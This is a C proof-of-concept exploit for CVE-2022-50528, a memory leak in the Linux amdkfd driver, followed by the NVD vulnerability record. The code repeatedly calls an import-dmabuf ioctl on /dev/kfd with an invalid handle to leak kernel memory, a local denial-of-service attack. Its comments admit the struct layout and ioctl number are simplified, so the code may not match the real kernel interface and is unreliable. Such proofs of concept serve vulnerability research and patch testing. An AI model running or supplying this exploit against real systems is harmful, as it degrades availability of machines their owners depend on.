CVE-2022-50528

// CVE-2022-50528 PoC - Trigger memory leak in amdkfd _gpuvm_import_dmabuf() // This PoC demonstrates how to trigger the vulnerability by importing // a dmabuf into GPUVM through amdkfd ioctl interface #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <linux/dma-buf.h> // AMD KFD device path #define KFD_DEVICE "/dev/kfd" // Simplified structure for importing dmabuf to GPUVM struct kfd_ioctl_import_dmabuf_args { uint64_t handle; // dmabuf handle uint64_t va_addr; // virtual address uint64_t size; // buffer size uint32_t gpu_id; // target GPU ID uint32_t flags; // access flags }; // KFD IOCTL command (simplified - actual values from kfd_ioctl.h) #define AMDKFD_IOC_IMPORT_DMABUF 0xC0304B05 int main(int argc, char *argv[]) { int kfd_fd; int ret; int iterations = 1000; // Repeat to accumulate memory leak if (argc > 1) { iterations = atoi(argv[1]); } // Open AMD KFD device kfd_fd = open(KFD_DEVICE, O_RDWR); if (kfd_fd < 0) { perror("Failed to open " KFD_DEVICE); return 1; } printf("Triggering CVE-2022-50528 memory leak...\n"); for (int i = 0; i < iterations; i++) { struct kfd_ioctl_import_dmabuf_args args; memset(&args, 0, sizeof(args)); // Use invalid handle to trigger error path in _gpuvm_import_dmabuf() // This causes memory allocation before error return without proper cleanup args.handle = (uint64_t)-1; // Invalid dmabuf handle args.va_addr = 0x100000 + i * 0x1000; args.size = 0x1000; args.gpu_id = 0; args.flags = 0; ret = ioctl(kfd_fd, AMDKFD_IOC_IMPORT_DMABUF, &args); if (ret < 0) { // Error expected, but memory may have been leaked if (i % 100 == 0) { fprintf(stderr, "Iteration %d: ioctl failed (errno=%d)\n", i, errno); } } } printf("Done. Memory leak should be visible in kernel slab/kmemleak.\n"); printf("Check with: cat /proc/meminfo | grep Slab\n"); close(kfd_fd); return 0; }

{"cve": {"id": "CVE-2022-50528", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.773", "lastModified": "2026-03-17T16:53:24.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdkfd: Fix memory leakage\n\nThis patch fixes potential memory leakage and seg fault\nin _gpuvm_import_dmabuf() function"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "5.15.86", "matchCriteriaId": "F3E497F0-212B-43AB-AFFF-C929EE6B5670"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/7356d8e367d0e025a568e369c4cf575722cac60f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/75818afff631e1ea785a82c3e8bb82eb0dee539c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8876793e56ec69b3be2a883b4bc440df3dbb1865", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c65564790048fa416ccd26a8945c7ec0cf9ef0b7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}